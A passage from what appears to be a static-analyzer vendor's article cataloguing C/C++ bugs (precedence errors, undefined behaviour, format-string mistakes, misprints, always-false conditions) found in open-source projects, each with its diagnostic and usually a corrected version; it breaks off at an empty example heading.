This example demonstrates the case when using a smart pointer can cause undefined behavior. It may be expressed through heap damage, program crash, incomplete object destruction or any other failure. The error is this: memory is allocated by the new [] operator and released by the delete operator in the 'auto_ptr' class' destructor:

~auto_ptr() {
  delete _Myptr;
}

To fix these issues, you should use a more appropriate class, for instance, boost::scoped_array.



Example 2. IPP Samples project. Classic Undefined behavior.

template<typename T, Ipp32s size> void HadamardFwdFast(...)
{
  Ipp32s *pTemp;
  ...
  for(j=0;j<4;j++) {
        a[0] = pTemp[0*4] + pTemp[1*4];
        a[1] = pTemp[0*4] - pTemp[1*4];
        a[2] = pTemp[2*4] + pTemp[3*4];
        a[3] = pTemp[2*4] - pTemp[3*4];
        pTemp = pTemp++;
        ...
  }
  ...
}

The error was found through the V567 diagnostic: Undefined behavior. The 'pTemp' variable is modified while being used twice between sequence points. me umc_me_cost_func.h 168

This is a classic example of undefined program behavior. It is this construct which is used to demonstrate Undefined behavior in various articles. It is unknown whether 'pTemp' will be incremented by one or not. Two actions of changing pTemp variable's value are located in one sequence point. It means that the compiler may create the following code:

pTemp = pTemp + 1;

pTemp = pTemp;

Or it may create another version of the code:

TMP = pTemp;

pTemp = pTemp + 1;

pTemp = TMP;

Which of the two code versions will be created depends on the compiler and optimization switches.



Example 3.Fennec Media Project project. Complex expression.

uint32 CUnBitArrayOld::DecodeValueRiceUnsigned(uint32 k)
{
  ...
  while (!(m_pBitArray[m_nCurrentBitIndex >> 5] &
        Powers_of_Two_Reversed[m_nCurrentBitIndex++ & 31])) {}
  ...
}

The error was found through the V567 diagnostic: Undefined behavior. The 'm_nCurrentBitIndex' variable is modified while being used twice at single sequence point. MACLib unbitarrayold.cpp 78

There are no sequence points between two instances of using the 'm_nCurrentBitIndex' variable. It means that the standard does not specify the moment when this variable is incremented. Correspondingly, this code may work differently depending on the compiler and optimization switches.



Example 4.Miranda IM project. Complex expression.

short ezxml_internal_dtd(ezxml_root_t root,
  char *s, size_t len)
{
  ...
  while (*(n = ++s + strspn(s, EZXML_WS)) && *n != '>') {
  ...
}

The error was found through the V567 diagnostic: Undefined behavior. The 's' variable is modified while being used twice between sequence points.msne zxml.c 371

Prefix increment of the variable is used here. But it does not mean anything: it cannot be guaranteed that the 's' variable will be incremented before calling the strspn() function.

Errors relating to operation priorities.

To make understanding of examples easier, let's recall the operation priorities table.



Example 1.MySQL project. Priorities of ! and & operations.

int ha_innobase::create(...)
{
  ...
  if (srv_file_per_table
          && !mysqld_embedded
          && (!create_info->options & HA_LEX_CREATE_TMP_TABLE)) {
  ...
}

The error was found through the V564 diagnostic: The '&' operator is applied to bool type value. You've probably forgotten to include parentheses or intended to use the '&&' operator. innobase ha_innodb.cc 6789

The programmer wanted a part of the expression to check that a certain bit in the 'create_info->options' variable is equal to zero. But the priority of the '!' operation is higher than that of the '&' operation, that's why the expression works by this algorithm:

((!create_info->options) & HA_LEX_CREATE_TMP_TABLE)
We should use additional parentheses if we want the code to work properly:
(!(create_info->options & HA_LEX_CREATE_TMP_TABLE))

Or, what we find nicer, write the code in the following way:

((create_info->options & HA_LEX_CREATE_TMP_TABLE) == 0)



Example 2.Emule project. Priorities of * and ++ operations.

STDMETHODIMP
CCustomAutoComplete::Next(..., ULONG *pceltFetched)
{
  ...
  if (pceltFetched != NULL)
        *pceltFetched++;
  ...
}

The error was found through the V532 diagnostic: Consider inspecting the statement of '*pointer++' pattern. Probably meant: '(*pointer)++'. emule customautocomplete.cpp 277

If 'pceltFetched' is not a null pointer, the function must increment the variable of the ULONG type this pointer refers to. The error is this: the priority of the '++' operation is higher than that of '*' operation (pointer dereferencing). The "*pceltFetched++;" line is identical to the following code:

TMP = pceltFetched + 1;
*pceltFetched;
pceltFetched = TMP;

Virtually it is just increment of the pointer. To make the code correct, we must add parentheses: "(*pceltFetched)++;".



Example 3.Chromium project. Priorities of & and != operations.

#define FILE_ATTRIBUTE_DIRECTORY 0x00000010

bool GetPlatformFileInfo(PlatformFile file, PlatformFileInfo* info) {
  ...
  info->is_directory =
        file_info.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY != 0;
  ...
}

The error was found through the V564 diagnostic: The '&' operator is applied to bool type value. You've probably forgotten to include parentheses or intended to use the '&&' operator. base platform_file_win.cc 216

Programmers easily forget that the priority of the '!=' operation is higher than that of '&'. This is what happened in our case. As a result, we have the following expression:

info->is_directory =
  file_info.dwFileAttributes & (0x00000010 != 0);

Let's simplify the expression:

info->is_directory = file_info.dwFileAttributes & (true);

Let's simplify it once again:

info->is_directory = file_info.dwFileAttributes & 1;

It turns out that we have tested the first bit instead of the fifth bit. To fix this, we need to add parentheses.



Example 4.BCmenu project. IF and ELSE mixed up.

void BCMenu::InsertSpaces(void)
{
  if(IsLunaMenuStyle())
        if(!xp_space_accelerators) return;
  else
        if(!original_space_accelerators) return;
  ...
}

The error was found through the V563 diagnostic: It is possible that this 'else' branch must apply to the previous 'if' statement. fire bcmenu.cpp 1853

This is not an error of operation priorities, but one relative to it. The programmer does not take into account that the 'else' branch refers to the nearest 'if' operator. We can see that the code justification as if it works by the following algorithm:

if(IsLunaMenuStyle()) {
  if(!xp_space_accelerators) return;
} else {
  if(!original_space_accelerators) return;
}

But actually it is equivalent to the following construct:

if(IsLunaMenuStyle())
{
   if(!xp_space_accelerators) {
         return;
   } else {
         if(!original_space_accelerators) return;
   }
}

Example 5.IPP Samples project. Priorities of ?: and | operations.

vm_file* vm_file_fopen(...)
{
  ...
  mds[3] = FILE_ATTRIBUTE_NORMAL |
                   (islog == 0) ? 0 : FILE_FLAG_NO_BUFFERING;
  ...
}

The error was found through the V502 diagnostic: Perhaps the '?:' operator works in a different way than it was expected. The '?:' operator has a lower priority than the '|' operator. vm vm_file_win.c 393

Depending on the 'islog' variable's value, the expression must be either equal to "FILE_ATTRIBUTE_NORMAL" or "FILE_ATTRIBUTE_NORMAL | FILE_FLAG_NO_BUFFERING". But it does not happen. Priority of the '?:' operation is lower than that of '|'. As a result, the code acts as follows:

mds[3] = (FILE_ATTRIBUTE_NORMAL | (islog == 0)) ?
  0 : FILE_FLAG_NO_BUFFERING;

Let's simplify the expression:

mds[3] = (0x00000080 | ...) ? 0 : FILE_FLAG_NO_BUFFERING;

Since FILE_ATTRIBUTE_NORMAL equals 0x00000080, the condition is always true. It means that 0 will always be written into mds[3].



Example 6.Newton Game Dynamics project. Priorities of ?: and * operations.

dgInt32 CalculateConvexShapeIntersection (...)
{
  ...
  den = dgFloat32 (1.0e-24f) *
                (den > dgFloat32 (0.0f)) ?
                  dgFloat32 (1.0f) : dgFloat32 (-1.0f);
  ...
}

The error was found through the V502 diagnostic: Perhaps the '?:' operator works in a different way than it was expected. The '?:' operator has a lower priority than the '*' operator. physics dgminkowskiconv.cpp 1061

The error in this code again relates to the low priority of the '?:' operation. The condition for the '?:' operator is expressed by a meaningless subexpression "dgFloat32 (1.0e-24f) * (den > dgFloat32 (0.0f))". Adding parentheses will solve the issue.

By the way, programmers often forget how cunning the '?:' operator is. Here is a post on this topic: "How to make fewer errors at the stage of code writing. Part N2".





Formatted output errors

Examples of these errors are boring and alike, so we will examine only a few samples. The point is that functions with a variable number of arguments accept actual arguments incompatible with the format string. Any programmer who uses such functions as printf() is familiar with this type of errors.



Example 1.ReactOS project. Incorrect printing of a WCHAR-character.

static void REGPROC_unescape_string(WCHAR* str)
{
  ...
  default:
        fprintf(stderr,
          "Warning! Unrecognized escape sequence: \\%c'\n",
          str[str_idx]);
  ...
}

The error was found through the V576 diagnostic: Incorrect format. Consider checking the third actual argument of the 'fprintf' function. The char type argument is expected. regedit regproc.c 293

The fprinf() function must print a character of the char type. But the third argument is a character of the WCHAR type. The user will get an incorrectly generated message. To fix the code, we should replace '%c' with '%C' in the format string.



Example 2.Intel AMT SDK project. Character '%' missing.

void addAttribute(...)
{
  ...
  int index = _snprintf(temp, 1023,
        "%02x%02x:%02x%02x:%02x%02x:%02x%02x:"
        "%02x%02x:02x%02x:%02x%02x:%02x%02x",
        value[0],value[1],value[2],value[3],value[4],
        value[5],value[6],value[7],value[8],
        value[9],value[10],value[11],value[12],
        value[13],value[14],value[15]);
  ...
}

The error was found through the V576 diagnostic: Incorrect format. A different number of actual arguments is expected while calling '_snprintf' function. Expected: 18. Present: 19. mod_pvs mod_pvs.cpp 308

It is not easy to find an error here at first sight. However, the PVS-Studio analyzer does not get tired and notices that the function takes more actual arguments than specified in the format string. The reason is that the '%' character is missing in one place. Let's single out this fragment:

"%02x%02x:[HERE]02x%02x:%02x%02x:%02x%02x",



Example 3.Intel AMT SDK project. Unused argument.

bool GetUserValues(...)
{
  ...
  printf("Error: illegal value. Aborting.\n", tmp);
  return false;
}

The error was found through the V576 diagnostic: Incorrect format. A different number of actual arguments is expected while calling 'printf' function. Expected: 1. Present: 2. RemoteControlSample remotecontrolsample.cpp 792

The error is this: the 'tmp' variable is not used in any way when printing the information message.



Example 4.G3D Content Pak project. Printing of meaningless data.

class Matrix3 {
  ...
  inline float* operator[] (int iRow) {
  ...
};
void AnyVal::serialize(G3D::TextOutput& t) const {
  ...
  const Matrix3& m = *(Matrix3*)m_value;
  ...
  t.printf("%10.5f, %10.5f, %10.5f,\n
                   %10.5f, %10.5f, %10.5f,\n
                   %10.5f, %10.5f, %10.5f)",
                   m[0, 0], m[0, 1], m[0, 2],
                   m[1, 0], m[1, 1], m[1, 2],
                   m[2, 0], m[2, 1], m[2, 2]);
  ...
}

The error was found through the V520 diagnostic: The comma operator ',' in array index expression '[0, 0]'. graphics3D anyval.cpp 275

The program prints meaningless values instead of the matrix. You may write such a code when you work with different programming languages and sometimes forget how to access an item in a two-dimensional array in the C language.

Let's see how the 'm[0, 1]' expression works. At first, expression"0, 1" is calculated. The result of this expression is 1. Then the 'operator[]' function is called in the Matrix3 class. The function takes the actual argument 1 and returns the pointer to the first string in the matrix. It is the value of this pointer that will be printed by the 'printf()' function though it expects a value of the float-type.

This is the correct code:

t.printf("%10.5f, %10.5f, %10.5f,\n
                 %10.5f, %10.5f, %10.5f,\n
                 %10.5f, %10.5f, %10.5f)",
                 m[0][0], m[0][1], m[0][2],
                 m[1][0], m[1][1], m[1][2],
                 m[2][0], m[2][1], m[2][2]);



Examples of misprints found in code

A lot of programming errors are caused by misprints. Most of these errors are quickly detected at the early stages of testing. But there are some defects of this kind that remain in code for a long time causing troubles both to programmers and users.

You can make these errors much fewer using the PVS-Studio analyzer. It will find them before testing starts, which will significantly reduce the cost of defect detection and elimination.



Example 1.Miranda IM project. Assignment inside IF.

void CIcqProto::handleUserOffline(BYTE *buf, WORD wLen)
{
  ...
  else if (wTLVType = 0x29 && wTLVLen == sizeof(DWORD))
  ...
}

The error was found through the V560 diagnostic: A part of conditional expression is always true: 0x29. icqoscar8 fam_03buddy.cpp 632

Because of a misprint, there is an assignment taking place inside the condition of the 'if' operator. This is the correct condition: "if (wTLVType == 0x29 && wTLVLen == sizeof(DWORD))".



Example 2. ReactOS project. Assignment error.

BOOL WINAPI GetMenuItemInfoA(...)
{
  ...
  mii->cch = mii->cch;
  ...
}

The error was found through the V570 diagnostic: The 'mii->cch' variable is assigned to itself. user32 menu.c 4347

The value of the variable is assigned to itself. The programmer apparently intended to write it in this way: "mii->cch = miiW->cch;".



Example 3. Clang project. Object name misprinted.

static Value *SimplifyICmpInst(...) {
  ...
  case Instruction::Shl: {
        bool NUW =
          LBO->hasNoUnsignedWrap() && LBO->hasNoUnsignedWrap();
        bool NSW =
          LBO->hasNoSignedWrap() && RBO->hasNoSignedWrap();
  ...
}

The error was found through the V501 diagnostic: There are identical sub-expressions 'LBO->hasNoUnsignedWrap ()' to the left and to the right of the '&&' operator. LLVMAnalysis instructionsimplify.cpp 1891

There is a misprint when using variables with similar names. In the first line, both LBO and RBO variables must be used. This is the correct code:

bool NUW = LBO->hasNoUnsignedWrap() && RBO->hasNoUnsignedWrap();



Example 4. Notepad++ project. Incorrect state test.

bool _isPointXValid;
bool _isPointYValid;
...
bool isPointValid() {
  return _isPointXValid && _isPointXValid;
};

The error was found through the V501 diagnostic: There are identical sub-expressions to the left and to the right of the '&&' operator. _isPointXValid && _isPointXValid

The name '_isPointXValid' is used twice. The function must actually return this code: "_isPointXValid && _isPointYValid".



Example 5. StrongDC++ project. Unsuccessful check of \r\n.

static void getContentLengthAndHeaderLength(...)
{
  ...
  while(line[linelen] != '\r' && line[linelen] != '\r')
  ...
}

The error was found through the V501 diagnostic: There are identical sub-expressions 'line [linelen] != '\r'' to the left and to the right of the '&&' operator. miniupnpc miniupnpc.c 153

Because of a misprint, presence of the '\r' character is checked twice. Actually presence of the '\n' character must be checked too.



Example 6. G3D Content Pak project. A closing parenthesis in a wrong place.

bool Matrix4::operator==(const Matrix4& other) const {
  if (memcmp(this, &other, sizeof(Matrix4) == 0)) {
        return true;
  }
  ...
}

The error was found through the V575 diagnostic: The 'memcmp' function processes '0' elements. Inspect the 'third' argument. graphics3D matrix4.cpp 269

One closing parenthesis is in a wrong place. It turns out that the size of the memory area being compared is calculated by the "sizeof(Matrix4) == 0" expression. This expression always has the 'false' result. Then 'false' turns into an integer value equal to 0. This is the correct code:

if (memcmp(this, &other, sizeof(Matrix4)) == 0) {



Example 7. QT project. Error of structure member copying.

PassRefPtr<Structure>
Structure::getterSetterTransition(Structure* structure)
{
  ...
  transition->m_propertyStorageCapacity =
        structure->m_propertyStorageCapacity;
  transition->m_hasGetterSetterProperties =
        transition->m_hasGetterSetterProperties;
  transition->m_hasNonEnumerableProperties =
        structure->m_hasNonEnumerableProperties;
  transition->m_specificFunctionThrashCount =
        structure->m_specificFunctionThrashCount;
  ...
}

The error was found through the V570 diagnostic: The 'transition->m_hasGetterSetterProperties' variable is assigned to itself. QtScript structure.cpp 512

It is not easy to find an error looking at this code. But it is there. The field 'm_hasGetterSetterProperties' is copied into itself. This is the correct code:

transition->m_hasGetterSetterProperties =
  structure->m_hasGetterSetterProperties;



Example 8. Apache HTTP Server project. Extra sizeof operator.

PSECURITY_ATTRIBUTES GetNullACL(void)
{
  PSECURITY_ATTRIBUTES sa;
  sa  = (PSECURITY_ATTRIBUTES)
        LocalAlloc(LPTR, sizeof(SECURITY_ATTRIBUTES));
  sa->nLength = sizeof(sizeof(SECURITY_ATTRIBUTES));
  ...
}

The error was found through the V568 diagnostic: It's odd that the argument of sizeof() operator is the 'sizeof (SECURITY_ATTRIBUTES)' expression. libhttpd util_win32.c 115

The field 'nLength' must contain the size of the 'SECURITY_ATTRIBUTES' structure. There is a misprint in the code: the 'sizeof' operator is used twice. As a result, the field 'nLength' stores a size of the 'size_t' type. This is the correct code:

sa->nLength = sizeof(SECURITY_ATTRIBUTES);



Example 9. FCE Ultra project. Double variable declaration.

int iNesSaveAs(char* name)
{
  ...
  fp = fopen(name,"wb");
  int x = 0;
  if (!fp)
        int x = 1;
  ...
}

The error was found through the V561 diagnostic: It's probably better to assign value to 'x' variable than to declare it anew. Previous daclaration: ines.cpp, line 960. fceuxines.cpp 962

The 'x' variable must store information whether or not a file was opened successfully. Because of a misprint, a new variable named 'x' is created and initialized instead of assigning 1 to the existing variable. This is how the correct code must look:

if (!fp)
  x = 1;



Example 10. Notepad++ project. Using && operator instead of &.

TCHAR GetASCII(WPARAM wParam, LPARAM lParam)
{
  ...
  result=ToAscii(wParam,
        (lParam >> 16) && 0xff, keys,&dwReturnedValue,0);
  ...
}

The error was found through the V560 diagnostic: A part of conditional expression is always true: 0xff. notepadPlus babygrid.cpp 694

The "(lParam >> 16) && 0xff" expression is meaningless and is always equal to 1 (true). A misprint here is in using the '&&' operator instead of '&'.



Example 11. WinDjView project. Incomplete condition.

inline bool IsValidChar(int c)
{
  return c == 0x9 || 0xA || c == 0xD || c >= 0x20 &&
                 c <= 0xD7FF || c >= 0xE000 && c <= 0xFFFD ||
                 c >= 0x10000 && c <= 0x10FFFF;
}

The error was found through the V560 diagnostic: A part of conditional expression is always true: 0xA. WinDjView xmlparser.cpp 45 False

The IsValidChar function always returns 'true'. Comparison is missing in one place because of a misprint: "... || 0xA || ...".



Example 12. Fennec Media Project project. Extra semicolon.

int settings_default(void)
{
  ...
  for(i=0; i<16; i++);
        for(j=0; j<32; j++)
        {
          settings.conversion.equalizer_bands.boost[i][j] = 0.0;
          settings.conversion.equalizer_bands.preamp[i]   = 0.0;
        }
}

The error was found through the V529 diagnostic: Odd semicolon ';' after 'for' operator. settings.c 483

All the C and C++ programmers know how dangerous an extra semicolon ';' is. Unfortunately, this knowledge does not prevent them from making such misprints. There is an extra semicolon after the first 'for' operator, which makes this program fragment unable to execute.



Example 13. QT project. Missing break operator.

int QCleanlooksStyle::pixelMetric(...)
{
  ...
  case PM_SpinBoxFrameWidth:
        ret = 3;
        break;
  case PM_MenuBarItemSpacing:
        ret = 6;
  case PM_MenuBarHMargin:
        ret = 0;
        break;
  ...
}

The error was found through the V519 diagnostic: The 'ret' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 3765, 3767. QtGui qcleanlooksstyle.cpp 3767

This is a classic error - 'break' is missing inside the 'switch' operator. I think you do not need any further comments here.



Example 14. Miranda IM project. Assignment instead of comparison.

int FindItem(...)
{
  ...
  int ret;
  ret=FindItem(hwnd,dat,hItem,
                           (struct ClcContact ** )&z,
                           (struct ClcGroup ** )&isv,NULL);
  if (ret=0) {return (0);}
  ...
}

The error was found through the V559 diagnostic: Suspicious assignment inside the condition expression of 'if' operator: ret = 0. clist_mw clcidents.c 179

There is a misprint inside the condition of the 'if' operator: '=' is written instead of '=='. The function will handle the situation incorrectly when a certain item is not found.



Example 15. IPP Samples project. Incorrect index.

struct AVS_MB_INFO
{
  ...
  Ipp8u refIdx[AVS_DIRECTIONS][4];
  ...
};

void AVSCompressor::GetRefIndiciesBSlice(void){
  ...
  if (m_pMbInfo->predType[0] & predType)
  {
        m_refIdx[iRefNum] = m_pMbInfo->refIdx[dir][0];
        iRefNum += 1;
  }
  if (m_pMbInfo->predType[1] & predType)
  {
        m_refIdx[iRefNum] = m_pMbInfo->refIdx[dir][1];
        iRefNum += 1;
  }
  if (m_pMbInfo->predType[2] & predType)
  {
        m_refIdx[iRefNum] = m_pMbInfo->refIdx[dir][2];
        iRefNum += 1;
  }
  if (m_pMbInfo->predType[3] & predType)
  {
        m_refIdx[iRefNum] = m_pMbInfo->refIdx[dir][30];
        iRefNum += 1;
  }
  ...
}

The error was found through the V557 diagnostic: Array overrun is possible. The '30' index is pointing beyond array bound. avs_enc umc_avs_enc_compressor_enc_b.cpp 495

Consider this fragment: "m_pMbInfo->refIdx[dir][30]". Because of a misprint, number 30 is written instead of index 3. By the way, this sample shows well how relative our division of errors into categories is. This error might well be referred to the category "Errors of array and string handling". The division is relative and is made to show diversity of errors the PVS-Studio analyzer can detect.



Example 16. ReactOS project. Misprint in a macro.

#define SWAP(a,b,c)  c = a;\
                                         a = b;\
                                         a = c

The error was found through the V519 diagnostic: The 'v2' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 343, 343. win32k gradient.c 343

It is a rather funny misprint in a macro intended to swap values in two variables. Look closely at the code and you will see what I mean. This is the correct code:

#define SWAP(a,b,c)  c = a;\
                                         a = b;\
                                         b = c



Example 17. Quake-III-Arena project. Misprint. Comma instead of multiplication operator.

void Q1_AllocMaxBSP(void)
{
  ...
  q1_allocatedbspmem +=
        Q1_MAX_MAP_CLIPNODES * sizeof(q1_dclipnode_t);
  ...
  q1_allocatedbspmem +=
        Q1_MAX_MAP_EDGES , sizeof(q1_dedge_t);
  ...
  q1_allocatedbspmem +=
        Q1_MAX_MAP_MARKSURFACES * sizeof(unsigned short);
  ...
}

The error has been found with rule V521: Such expressions using the ',' operator are dangerous. Make sure the expression is correct. bspc l_bsp_q1.c 136

It's a funny misprint. Look at the line in the middle of the code. ',' written instead of '*'. As a result, the 'sizeof(q1_dedge_t)' value is always added to the 'q1_allocatedbspmem' variable. I have no suggestions how this misprint could have occurred.



Example 18. LibXml project. Misprint =+.

static int
xmlXPathCompOpEvalFirst(...)
{
  ...
  total += xmlXPathCompOpEvalFirst(...);
  ...
  total =+ xmlXPathCompOpEvalFilterFirst(ctxt, op, first);
  ...
}

The error has been found with rule V588: The expression of the 'A =+ B' kind is utilized. Consider reviewing it, as it is possible that 'A += B' was meant. libxml xpath.c 12676

In one place, "=+" is written instead of "+=" by mistake. They look similar but the result is quite different. Such errors are rather difficult to find just reviewing the code.



Many errors in software are caused by misprints. There are much more errors of this kind than programmers think. We could go on and on in this section but we decide to stop at the 18-th example at last.



Incorrect use of base functions and classes



Example 1. Fennec Media Project. Two terminal nulls absent.

int JoiningProc(HWND hwnd,UINT uMsg,
  WPARAM wParam,LPARAM lParam)
{
  ...
  OPENFILENAME  lofn;
  memset(&lofn, 0, sizeof(lofn));
  ...
  lofn.lpstrFilter = uni("All Files (*.*)\0*.*");
  ...
}

The error was found through the V540 diagnostic: Member 'lpstrFilter' should point to string terminated by two 0 characters. base windows.c 5309

In Windows API there are structures in which pointers to strings must end with two null characters. It is that very kind of string the 'lpstrFilter' member in the OPENFILENAME structure points to.

Description of 'lpstrFilter' in MSDN:

LPCTSTR

A buffer containing pairs of null-terminated filter strings. The last string in the buffer must be terminated by two NULL characters.

If you forget to write an additional null at the end, the dialogue of file handling may contain garbage in the filter fields. This is the correct code:

lofn.lpstrFilter = uni("All Files (*.*)\0*.*\0");



Example 2. TortoiseSVN project. Incorrect use of 'remove' function.

STDMETHODIMP CShellExt::Initialize(....)
{
  ...
  ignoredprops = UTF8ToWide(st.c_str());
  // remove all escape chars ('\\')
  std::remove(ignoredprops.begin(), ignoredprops.end(), '\\');
  break;
  ...
}

The error was found through the V530 diagnostic: The return value of function 'remove' is required to be utilized. contextmenu.cpp 442

The std::remove function does not remove items from the container. It only shifts the items and returns the iterator to the beginning of trash. Assume we have a vector<int> container that contains items 1,2,3,1,2,3,1,2,3. If we execute the code "remove( v.begin(), v.end(), 2 )", the container will contain items 1,3,1,3,X,X,X, where X is some trash. The function will return the iterator to the first trash item, so if we want to remove these trash items, we need to write the code: "v.erase(remove(v.begin(), v.end(), 2), v.end())".



Example 3. TortoiseSVN project. Using 'empty' function instead of 'clear'.

CMailMsg& CMailMsg::SetFrom(string sAddress,
                                                        string sName)
{
   if (initIfNeeded())
   {
          // only one sender allowed
          if (m_from.size())
                 m_from.empty();
          m_from.push_back(TStrStrPair(sAddress,sName));
   }
   return *this;
}

The error was found through the V530 diagnostic: The return value of function 'empty' is required to be utilized. mailmsg.cpp 40

The error here is this: the vector::empty() function is called by mistake instead of vector::clear(), and the array's contents remain the same. It is a very frequent error because the words 'clear' and 'empty' are rather close in meaning, and you might easily mix them up.



Example 4. WinMerge project. Using 'empty' function instead of 'clear'.

void CDirView::GetItemFileNames(int sel,
  String& strLeft, String& strRight) const
{
  UINT_PTR diffpos = GetItemKey(sel);
  if (diffpos == (UINT_PTR)SPECIAL_ITEM_POS)
  {
        strLeft.empty();
        strRight.empty();
  }
  else
  {
         ...
  }
}

The error was found through the V530 diagnostic: The return value of function 'empty' is required to be utilized WinMerge DirActions.cpp 1307, 1308

Again, the reason is in using the empty() function instead of clear(). We could cite examples of such errors from other projects as well: InstantVNC, IPP Samples, Chromium, Intel AMT SDK, etc. Unfortunately, all these samples are alike, and there is nothing interesting about examining them. But trust me, you can see these defects in serious projects developed by professional programmers.



Example 5. Pixie project. Using 'alloca' function inside loops.

inline  void  triangulatePolygon(...) {
  ...
  for (i=1;i<nloops;i++) {
        ...
        do {
          ...
          do {
                ...
                CTriVertex  *snVertex =
                 (CTriVertex *)alloca(2*sizeof(CTriVertex));
                ...
          } while(dVertex != loops[0]);
          ...
        } while(sVertex != loops[i]);
        ...
  }
  ...
}

The error was found through the V505 diagnostic: The 'alloca' function is used inside the loop. This can quickly overflow stack. ri polygons.cpp 1120

The alloca function allocates memory inside the stack, so calling it many times inside the loop body may suddenly cause a stack overflow. And we have several nested loops here. This code may exhaust stack memory very quickly.



Example 6. Miranda IM project. Arguments mixed up.

static BOOL ImageArray_Alloc(LP_IMAGE_ARRAY_DATA iad, int size)
{
  ...
  memset(&iad->nodes[iad->nodes_allocated_size],
        (size_grow - iad->nodes_allocated_size) *
           sizeof(IMAGE_ARRAY_DATA_NODE),
        0);
  ...
}

The error was found through the V575 diagnostic: Function receives an odd argument. clist_modern modern_image_array.cpp 59

The 'memset' function handles 0 items, i.e. actually does nothing. The reason is in mixed up arguments. This is how the correct call of the memset function should be written:

memset(&iad->nodes[iad->nodes_allocated_size],
  0,
  (size_grow - iad->nodes_allocated_size) *
         sizeof(IMAGE_ARRAY_DATA_NODE));



Examples of meaningless code



Example 1. IPP Samples project. Incomplete condition.

void lNormalizeVector_32f_P3IM(Ipp32f *vec[3],
  Ipp32s* mask, Ipp32s len)
{
  Ipp32s  i;
  Ipp32f  norm;

  for(i=0; i<len; i++) {
        if(mask<0) continue;
        norm = 1.0f/sqrt(vec[0][i]*vec[0][i]+
                         vec[1][i]*vec[1][i]+vec[2][i]*vec[2][i]);
        vec[0][i] *= norm; vec[1][i] *= norm; vec[2][i] *= norm;
  }
}

The error was found through the V503 diagnostic: This is a nonsensical comparison: pointer < 0. ipprsample ippr_sample.cpp 501

I do not know how it happened, but there are 3 characters "[i]" missing in this code. As a result, the code performs a meaningless check that the pointer is below zero instead of checking the mask array.

The correct check should be written in this way: if(mask[i] < 0).



Example 2. Pc Ps2 Emulator project. Incorrect switch.

LRESULT CALLBACK IOP_DISASM(...)
{
  ...
  switch(LOWORD(wParam))
  {
        case (IDOK || IDCANCEL):
          EndDialog(hDlg,TRUE);
          return(TRUE);
          break;
  }
  ...
}

The error was found through the V560 diagnostic: A part of conditional expression is always true: 2. pcsx2 debugger.cpp 321

This code does not have any meaning. The programmer must have intended to write it this way:

switch(LOWORD(wParam))
{
  case IDOK: //no break
  case IDCANCEL:
        EndDialog(hDlg,TRUE);
        return(TRUE);
        break;
}



Example 3. CPU Identifying Tool project. A too strict condition.

void projillum(short* wtab, int xdots, int ydots, double dec)
{
  ...
  s = sin(-dtr(dec));
  x = -s * sin(th);
  y = cos(th);
  ...
  lon = (y == 0 && x == 0) ? 0.0 : rtd(atan2(y, x));
}

The error was found through the V550 diagnostic: An odd precise comparison: x == 0. It's probably better to use a comparison with defined precision: fabs(A - B) '<' Epsilon. clock_dll sunalgo.cpp 155

It is strange to expect that the result will be strictly 0 after executing all these complex calculations using 'sin' and 'cos' functions. Most likely, there must be comparison to be performed with certain accuracy.



Example 4. Lugaru. Double assignment.

int Game::DrawGLScene(void)
{
  ...
  radius=fast_sqrt(maxdistance);
  radius=110;
  ...
}

The error was found through the V519 diagnostic: The 'radius' object is assigned values twice successively. Perhaps this is a mistake. Lugaru gamedraw.cpp 1505

The programmer must have deliberately written value 110 into the 'radius' variable for the sake of experiment and then forgot to remove this line. As a result, we have a meaningless and maybe even invalid code.



Example 5. QT project. Duplicated check.

Q3TextCustomItem* Q3TextDocument::parseTable(...)
{
  ...
  while (end < length
        && !hasPrefix(doc, length, end, QLatin1String("</td"))
        && !hasPrefix(doc, length, end, QLatin1String("<td"))
        && !hasPrefix(doc, length, end, QLatin1String("</th"))
        && !hasPrefix(doc, length, end, QLatin1String("<th"))
        && !hasPrefix(doc, length, end, QLatin1String("<td"))
        && !hasPrefix(doc, length, end, QLatin1String("</tr"))
        && !hasPrefix(doc, length, end, QLatin1String("<tr"))
        && !hasPrefix(doc, length, end, QLatin1String("</table"))) {

  ...
}

The error was found through the V501 diagnostic: There are identical sub-expressions to the left and to the right of the '&&' operator. Qt3Support q3richtext.cpp 6978

Presence of the "<td" prefix is checked twice in the condition. It is meaningless. Maybe it is an extra check or there should be some other prefix instead of the second "<td".



Example 6. Audacity project. Strange check.

int sf_error (SNDFILE *sndfile)
{
  ...
  if (!sndfile)
  {
        if (sf_error != 0)
          return sf_errno;
        return 0;
  } ;
  ...
}

The error was found through the V516 diagnostic: Consider inspecting an odd expression. Non-null function pointer is compared to null: 'sf_error != 0'. libsndfile sndfile.c 491

The "sf_error != 0" check always returns true, since 'sf_error' is the name of the function in which the code is executed.



Example 7. IPP Samples project. Strange code inside a loop.

static IppStatus mp2_HuffmanTableInitAlloc(Ipp32s *tbl, ...)
{
  ...
  for (i = 0; i < num_tbl; i++) {
        *tbl++;
  }
  ...
}

The error was found through the V532 diagnostic: Consider inspecting the statement of '*pointer++' pattern. Probably meant: '(*pointer)++'. mpeg2_dec umc_mpeg2_dec.cpp 59

The loop body is probably incomplete because it is meaningless in the current form.



Always true or always false conditions

It is a very large and widely-spread type of errors. These errors also vary greatly depending on the importance level. To non-dangerous errors we may refer incorrect conditions in ASSERT that actually do not check anything. To dangerous errors, incorrect checks of buffer size or index size are referred.



Example 1. Shareaza project. Value range of char type.

void CRemote::Output(LPCTSTR pszName)
{

  ...
  CHAR* pBytes = new CHAR[ nBytes ];
  hFile.Read( pBytes, nBytes );
  ...
  if ( nBytes > 3 && pBytes[0] == 0xEF &&
           pBytes[1] == 0xBB && pBytes[2] == 0xBF )
  {
        pBytes += 3;
        nBytes -= 3;
        bBOM = true;
  }
  ...
}

The error was found through the V547 diagnostic: Expression 'pBytes [ 0 ] == 0xEF' is always false. The value range of signed char type: [-128, 127]. Shareaza remote.cpp 350

In this code, the 'TCHAR' type is the 'char' type. The value range of char is from -128 to 127 inclusive. Value 0xEF in the variable of the char type is nothing else than number -17. When comparing the char variable with number 0xEF, its type is extended up to the 'int' type. But the value still lies inside the range [-128..127]. The "pBytes[0] == 0xEF" ("-17 == 0xEF") condition is always false, and the program does not work as intended.

This is the correct comparison:

if ( nBytes > 3 && pBytes[0] == TCHAR(0xEF) &&
                                   pBytes[1] == TCHAR(0xBB) &&
                                   pBytes[2] == TCHAR(0xBF) )



Example 2. TortoiseSVN project. Value range of char type.

